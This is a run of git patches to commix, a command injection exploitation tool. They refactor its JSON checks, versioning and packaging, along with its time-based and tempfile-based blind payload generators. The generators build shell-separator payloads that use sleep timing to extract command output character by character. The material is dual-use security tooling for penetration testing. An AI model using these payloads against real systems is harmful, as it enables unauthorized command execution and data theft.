code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0968a5318c..e27739f93f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2058,19 +2058,22 @@ def check_quotes_json_data(data): # Check if valid JSON def is_JSON_check(parameter): - try: - json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) - return True - except ValueError as err_msg: - _ = False - if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")): - _ = True - if not "No JSON object could be decoded" in str(err_msg) and \ - not _: - err_msg = "JSON " + str(err_msg) + ". " + if not settings.IS_JSON: + try: + # Attempt to load the JSON string + json_object = json.loads(parameter.replace(settings.INJECT_TAG,"")) + return True + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + error_str = str(err_msg) + if "No JSON object could be decoded" in error_str: + err_msg = "JSON is invalid. No valid JSON object found." + elif "Expecting" in error_str and any(_ in error_str for _ in ("value", "delimiter")): + err_msg = "JSON parsing error: " + error_str + ". Check for missing commas, colons, or improperly escaped characters." + elif "Expecting" in error_str and "end of data" in error_str: + err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - return False # Process with JSON data def process_data(data_type, http_request_method): diff --git a/src/utils/settings.py b/src/utils/settings.py index 81b978f7fa..3e5ca9fb75 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 70121dd2a232e4b8a1b10b2e089a041b5fa57194 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 May 2025 09:19:43 +0300 Subject: [PATCH 549/560] Improved key transformation for nested structures using bracket notation and dot syntax --- doc/CHANGELOG.md | 1 + src/core/requests/parameters.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 108970442a..6ee370a586 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. * Fixed: Minor bug-fix in parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c18d9a0f88..7c72014f0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -468,6 +468,8 @@ def vuln_POST_param(parameter, url): parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\"")) parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() + # Converts a key into a dot notation format, suitable for hierarchical or flattened structures. + parameters = re.sub(r'(\.(\d+))\.', r'[\2].', parameters.replace('_', '.')) settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST diff --git a/src/utils/settings.py b/src/utils/settings.py index 3e5ca9fb75..5c7c23dd23 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f7b9ba4a0a2dcedc8ce704aee30ea67161b5af90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 May 2025 09:08:47 +0300 Subject: [PATCH 550/560] Fixes https://github.com/commixproject/commix/issues/1009 --- doc/CHANGELOG.md | 1 + setup.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6ee370a586..125c7f3a69 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. * Revised: Improved key transformation for nested structures using bracket notation and dot syntax. * Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. * Fixed: Minor bug-fix in parsing empty or invalid JSON object. diff --git a/setup.py b/setup.py index db850d1775..26e0274669 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='4.1-dev', + version='4.1.dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 5c7c23dd23..e2ef80ca18 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,14 +262,14 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: - VERSION = VERSION + VERSION_NUM + "-stable" + VERSION = VERSION + VERSION_NUM COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + VERSION = VERSION + VERSION_NUM + ".dev" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2025" From 3527602eb1ab53d9584be81ecb159eb498bb9162 Mon Sep 17 00:00:00 2001 From: Raymond Van Wart <23642921+Raymond-JV@users.noreply.github.com> Date: Mon, 19 May 2025 02:15:55 -0500 Subject: [PATCH 551/560] Fixes https://github.com/commixproject/commix/issues/547 https://github.com/commixproject/commix/issues/549 https://github.com/commixproject/commix/issues/825 --- setup.py | 3 ++- src/txt/__init__.py | 0 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 src/txt/__init__.py diff --git a/setup.py b/setup.py index 26e0274669..83074f4625 100644 --- a/setup.py +++ b/setup.py @@ -31,6 +31,7 @@ license='GNU General Public License v3 (GPLv3)', packages=find_packages(), include_package_data=True, + package_data={"": ["*.txt"]}, zip_safe=False, classifiers=[ 'Development Status :: 5 - Production/Stable', @@ -48,4 +49,4 @@ }, ) -# eof \ No newline at end of file +# eof diff --git a/src/txt/__init__.py b/src/txt/__init__.py new file mode 100644 index 0000000000..e69de29bb2 From 4315ec5a4c075389166c078df01a99ce9c3d089e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 May 2025 07:22:13 +0300 Subject: [PATCH 552/560] Fixes https://github.com/commixproject/commix/issues/1011 --- .../techniques/time_based/tb_payloads.py | 21 ++++++++++++++++++ .../techniques/tempfile_based/tfb_payloads.py | 22 +++++++++++++++++++ src/utils/settings.py | 2 +- 3 files changed, 44 insertions(+), 1 deletion(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6e898bc6cd..cbed57a7f9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -43,6 +43,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + @@ -107,6 +110,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + @@ -176,6 +182,8 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: settings.USER_APPLIED_CMD = cmd @@ -243,6 +251,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": @@ -309,6 +320,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: cmd_exec = cmd @@ -385,6 +398,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": @@ -452,6 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a": @@ -510,6 +528,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a": payload = (separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 2fbbf84fc8..b007f12def 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -47,6 +47,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a" : @@ -116,6 +118,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -202,6 +207,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) + else: + pass else: settings.USER_APPLIED_CMD = cmd @@ -287,6 +294,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -358,6 +368,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: if separator == ";" or separator == "%0a" : @@ -423,6 +435,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -488,6 +504,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + @@ -545,6 +564,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) + else: + pass + else: if separator == ";" or separator == "%0a" : payload = (separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index e2ef80ca18..e393a13547 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 829d729a5d485baac3af39c195e9d4f62375c6bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 May 2025 07:32:21 +0300 Subject: [PATCH 553/560] Minor code refactoring --- .../techniques/time_based/tb_payloads.py | 70 ++--------------- src/core/injections/controller/checks.py | 12 +++ .../techniques/tempfile_based/tfb_payloads.py | 78 ++----------------- src/utils/settings.py | 2 +- 4 files changed, 26 insertions(+), 136 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index cbed57a7f9..2a029feca9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -33,7 +33,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -42,10 +41,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: pass - else: if separator == ";" or separator == "%0a": payload = (separator + @@ -58,8 +55,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "then sleep " + str(timesec) + separator + "fi" ) - - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -73,7 +68,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -100,7 +94,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -123,7 +116,6 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -134,9 +126,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -147,15 +137,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload @@ -172,7 +154,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -213,7 +194,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -241,7 +221,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -265,7 +244,6 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -276,9 +254,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -289,16 +265,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload + """ Get the execution output, of shell execution. """ @@ -311,9 +280,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : - ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -358,7 +325,6 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -434,15 +400,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -458,7 +416,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -480,7 +437,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -490,8 +446,6 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) - - separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -518,7 +472,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -540,7 +493,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -550,27 +502,17 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload + # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e27739f93f..b965076b6b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -583,6 +583,18 @@ def ignore_google_analytics_cookie(cookie): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True +""" +Payload new line fixation +""" +def payload_newline_fixation(payload): + # New line fixation + if any([settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION]): + payload = payload.replace("\n",";") + else: + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = payload.replace("\n","%0d") + return payload + """ Fix for %0a, %0d%0a separators """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b007f12def..f9a6b1d0e0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -36,7 +36,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -63,7 +62,6 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "then sleep " + str(timesec) + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -76,9 +74,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -132,7 +128,6 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -144,9 +139,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + @@ -158,15 +151,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", ";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = checks.payload_newline_fixation(payload) return payload """ @@ -209,7 +194,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: pass - else: settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : @@ -228,7 +212,6 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + "fi" ) - elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -246,9 +229,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" cmd = cmd.rstrip() @@ -281,7 +262,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" 